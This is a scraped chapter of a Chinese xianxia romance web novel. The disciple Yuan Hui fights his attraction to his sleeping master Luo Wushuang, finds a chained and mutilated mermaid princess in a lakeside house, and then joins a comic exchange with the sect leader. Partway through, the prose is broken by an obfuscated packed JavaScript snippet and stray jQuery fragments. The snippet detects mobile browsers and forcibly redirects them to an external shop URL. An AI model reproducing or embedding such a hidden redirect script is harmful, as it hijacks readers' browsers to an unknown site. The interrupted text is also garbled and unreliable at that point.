文趣网 > 都市小说 > 乖徒弟,杀她来了 > 36. 第 36 章
    她往他手里蹭了蹭,眼皮都没抖。

    掐她脸的那只手被烫了似的猛地一颤,喉结滚动,吐息又开始不对劲。

    元洄死死闭眼,狭小空间内气流涌动,张牙舞爪地往鼻腔里涌。

    “臭死了。”

    他托着她半边脸,水色波光自掌心荡开,顷刻裹了她满身。

    兔毛斗篷的对襟叠在她身前,元洄拢住她的膝盖将人抄进怀里,走到她门前,踹开没关好的门往床边走。

    上回在白塘村被她锁着脖子的画面历历在目,又不是头一回抱她上床,元洄屈膝压在她身边,将人放平去扣她挂在他后颈的手。

    毕竟是睡着又不是死了,元洄动作没敢太大,左手往后颈摸索,避开马尾发丝,好半天才摸到她结契的手指。

    然而没来得及运灵力,抱他的手收紧,一条腿压上他的腰,元洄没防备,愣生生被她抱着压上了床。

    他还没回神,她自己变了个姿势,抱着他的腰,膝盖挂在他腿上,顺势将脸埋在他怀里。

    怀里传来很轻的哼唧声,元洄浑身僵硬,喉骨攒动,猛地红了耳根。

    “你、你干什么?”他声音发哑,手没着落,悬在她身上不知所措。

    “别吵……”她闷在他怀里咕哝。

    要捏她手的动作僵滞,元洄愣愣抿唇,但半响没见她还有动静,于是轻轻松了一口气。

    橙花清香近在咫尺,淡淡茉莉香气混在其中,压制的情欲翻卷着叫嚣,眼角水色细鳞不受控制地往外钻。

    元洄滚了滚喉结,抬手死死压住眼睛,偏这人睡舒服了,无意识往他身上蹭,一条腿抵开他的膝盖,霸道湮灭了所有的距离。

    元洄闷哼着弯了脊背,忍着冲动喘过气来,收腰退开距离,红着脸咬牙骂:“二十三年,死性不改,还道你清心寡欲,结果还不是个色胚。”

    她抱着他不撒手,离远了就哼唧。

    元洄头疼至极,气上头时还抬手,只想将这吃干抹净提了裙子不认人的混账东西一巴掌扇醒。

    可惜将落不落,最终按在她背上。

    元洄呼吸紊乱,强忍掐死她的冲动,下巴埋进她头发里,一只手盖住她的后脑,水蓝色灵光自同心契开始播散。

    “……什么臭毛病,没我也能活七百年,破命怪硬的。”

    也不知多久,狭长凤眼末端缀满银水色发粉的细鳞,眼睫撩动,露出一双冰蓝色的眸子。

    手中细腰柔韧温软,元洄隔着薄衣摩挲她的腰,回过神来,动作一僵,硬邦邦掐着她的腰将人在怀里翻了个面。

    扣着背又抱了半响,这人才终于贪得有厌,元洄听着她清浅的吐息,气得不行,埋头咬她的后衣领。

    泄愤不提,反倒逼得脸上热意更甚,元洄狼狈起身,走时头也不敢回。

    -

    这回比前半夜更难熬。

    手帕撕了三张,元洄靠在床头喘气,一脸麻木地捏了五遍去尘咒。

    他下床喝完一壶水,体内燥热才艰难压下去。

    都没到发情期开始的时候。

    想起隔壁那混账,元洄磨了磨牙根,束好散了的头发,撕了鹿梨的短距传送符,瞬间消失在原地。

    青云城占地极广,元洄今日在渡行船下降时粗略扫过城中布局,引着传送符往近水处去。

    眼下明月西斜,铜锣声在夜里响起,打更人唱罢五更,声音散入风中,在夜色中渐行渐远。

    天将破晓,原本充裕的时间都耗没了,元洄对此刻正无忧无虑安睡的混账色胚怨念更深,黑着脸屈膝蹲身,掌心直接压在地上。

    苍云宫春光宴将至,玄灵界大大小小的宗门都齐聚青云城,客栈酒楼日夜不歇,巡城弟子昼夜换岗。

    大半夜上街,撞上人实在难交代,若是被苍云宫的人发现,别提找水,离找死怕是也不远。

    元洄寻到地下泉,按水流方向找到离青云城最近的湖泊池水,心中一定,收手起身,在屋檐房梁的阴影下又撕了一张传送符。

    微光闪过,元洄站稳便抬眼打量周遭,脚步往墙根下的阴影里挪动。

    此处白墙青瓦,假山嶙峋,曲水绕回廊,最终粼粼汇入一泉清澈湖水中。

    是一处靠湖而建的偏僻小院。

    可他分明挑的是城外远郊的地方。

    元洄拧眉犹豫。

    五指探在空中,水汽裹着灵力,比浮云峰那处归思潭自然不如,但放在其余地方已是不俗。

    地处偏远,水中有灵,而发情期灵力暴动,灵力越足越能掩饰他的动静。

    元洄轻抿唇,没多纠结,沿着院里石径往前走。

    花朝将至,是朵花都凑热闹,黄白色小花在夹缝中迎风招摇。

    时辰不早了,但他没放松警惕,细听风能带来的消息,谨慎靠近此地唯一的房间。

    元洄收敛了气息和脚步声,很快靠近那处屋子,侧身将耳朵贴在墙上,没听见里面有人的呼吸声。

    紧皱的眉头略有舒展,他抬手小心抵住窗沿,将窗推出一条缝,眸光偏斜望进去,恰对上一双自水中转来的眼睛。

    一双沉寂无光的、天水色的眼睛。

    元洄怔在原地,手指撤开,任由逸进屋里的光线消失。

    “……谁,是谁在外面?”

    这道声音极为干哑,与从前婉转轻灵再无半分相似。

    听外面无人应答,她嘶哑喘气,哀求道:“救我,求你救我……带我离开这里,不不不……你将我带到外面湖里就行,求你救我……”

    被光渐次照亮的一小片天地里,那人手腕被玄铁链绑缚,脖子上勒了一圈青紫痕迹,袒露的上身痕迹暧昧而残忍,腰上荆棘锁鲜血淋漓。

    往下无腿,鳞片暗淡而干燥翻卷的尾巴被弯月铁钩洞穿扣死于地。

    她趴在地上,将脸埋在一只巴掌大的水盆中,汲取着远不够存活的水份。

    往日光鲜骄傲不见踪影,倒像一条被驯化得只会摇尾乞怜的狗。

    居然是她。

    呼汝海长公主的小女儿。

    他的……皇表姐。

    “求你,我可以给你很多东西,鲛人泪,美玉珊瑚,等我回到呼汝海,我可以给你更多,求求你救救我……”

    屋里铁链被拽得哗哗响,水盆打翻,水花掀在地上,她往窗边爬来。

    而窗外再没有回应。

    鳞片摩擦地面的声音消失,屋里突然爆发出一声尖叫。她恶毒地嘶笑起来:“你敢擅闯此地,若不救我离开,你以为你能全身而退吗?他绝不会放过你!”

    耳熟的话术,如此下作又丑态毕露,不像她,却也不令人意外。

    元洄忍不住讥笑,不再逗留,撕了一张传送符当即消失在月光下。

    -

    次日,洛无双迷瞪睁眼收拾完,悠哉踏出房门时,鹿梨正要破门而入,准备执行一套叫醒服务。

    推门的鹿梨见了她一时愣住:“师尊?你今日好早!”

    洛无双连着头疼几日,晨起时忽觉疲倦尽扫耳清目明,心情自是极好,“带你们去苍云宫转转,走吧。”

    顺白玉地砖往前走,廊下倚柱抱臂站了个人,他姿态颇随意,扭头望着院子里一树盛开的海棠。

    闻声回头,顿了顿,规矩一站,冲她行礼:“师尊。”

    不还是她听话知礼的乖徒么?

    洛无双想起昨日没喝上的一碗红糖姜茶,边走边扭头问:“门规抄多少了?”

    同心契结得糊涂,二十三年转瞬即逝,这还是她头回在身边,素日雅淡的橙花香气近乎刺鼻,肆意往他鼻尖钻。

    元洄轻拧眉,步子放小屏息道:“三遍。”

    洛无双诧异:“你还真的抄了?一日抄三遍!”

    元洄:“……”

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17682539|204635||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >他脸色淡淡的,转眼看来,也没有旁的情绪,但洛无双莫名一窘,装模作样捂脸咳嗽。

    三十遍也罢了,那可是三百遍啊。

    洛无双手指抽搐,终究没忍住,支吾道:“你抄的时候倒也……不必太实诚,掌门日理万机,他很忙的。”

    说完还回头冲他狡黠眨眼。

    元洄忍住笑意,越过她恳切的目光,冲不远处行礼:“掌门。”

    洛无双:“……”

    邬岐迹皮笑肉不笑:“洛无双。”

    洛无双头皮一炸:“诶谁叫我?”

    “三长老教导弟子果然不同凡响。”邬岐迹笑意温润:“徒弟受罚,师尊怎么好袖手旁观?五千门规四万三千九百二十七字,若哪条少抄一字,有劳三长老代弟子将那一条抄上十遍。掌门确实是忙,但三长老的面子还是要卖的,三长老您意下如何?”

    洛无双仁慈一收,高冷负手:“掌门言之有理,既然诚心悔过领罚,切忌投其取巧耍手段。元洄,听见了吗?”

    元洄认真道:“弟子必为不使师尊受累而尽力。”

    洛无双冷淡的神情一裂,回头假笑:“是为你自己。”

    元洄眼神无辜,乖得不行:“好,是为了弟子自身。”

    洛无双:“……”

    还不如闭嘴。

    太墟昨日将入夜才进城,梵音谷所派来参加春光宴的法师不过比他们早到一个时辰,两拨人都要去拜会苍云宫宫主,路上遇见自然同行。

    故迦不知从哪个犄角旮旯窜出来,洛无双瞥见她侧颈明晃晃的吻痕,不动声色靠近拨好她的衣领。

    故迦了悟,摸摸脖子:“嘶,叫他别咬了,居然趁我睡着——”

    洛无双凑在她耳边小小声:“不想被超度赶紧闭嘴。”

    光天化日,大庭广众,身边都是些耳听六路的大能,也亏得她能说得脸不红心不跳。

    故迦话音倏然一收,假正经打量一圈,对梵音谷领头的两个和尚道:“佛子,寂无法师,好久不见了。”

    和尚合掌:“阿弥陀佛。”

    寂无法师慈眉善目,身披袈裟,腕间佛珠润白,“施主别来无恙。”

    本来也没剩下太多路,一行人很快到了苍云宫接见贵客的主厅。

    洛无双松开搂着故迦胳膊的手,回头要叮嘱,一眼看见她大徒弟垂着眼。

    薄薄眼皮自早上便透着些血色富足的绯红,不知他从哪收回视线,一直流露几分多情的眸子冷淡地望来。

    洛无双一怔,然而再看,那股淡漠一扫而逝,像是从未存在过。

    他歪了下脑袋低声叫她:“师尊?”

    洛无双心不在焉“嗯”了一声,又对上鹿梨乖巧雀跃的大眼睛,心中一松:“都跟在我身后。”

    昨夜打过招呼,殿里案几左右分布,太墟仙宗和梵音谷分居两侧,主位两张长条案几尚只有仲玉一人。

    太墟主座留给邬岐迹,洛无双往案前席地而坐,眼风往身后飞,示意元洄和鹿梨往她身后去。

    各自进殿与仲玉打了招呼,落座安顿说快不快的,洛无双扫见苍云宫空着的那张席位,视线又往梵音谷落。

    无尘佛子长眉凤目,九宝琉璃禅杖置于身侧,场合所致,今日他又披了一身佛子赤金袈裟,因此也看不见他带没带那个素色锦囊。

    洛无双兴致盎然,揭开茶壶盖子,透如春色的茶水香气袅袅。

    她不爱喝,不妨碍她喂弟子。

    洛无双倒了两盏,又捏起两个碟子往身后递:“味道差了些,消遣还是将就的。”

    鹿梨眸子明亮:“多谢师尊!”

    元洄:“……”

    这两人破命大也不是没道理。

    元洄放好糕点,缠布接茶水的左手忽而一滞。

    他猛地抬头,正见从殿内白玉浮雕屏后走来的那袭腰缠龙玉的墨绿锦衣。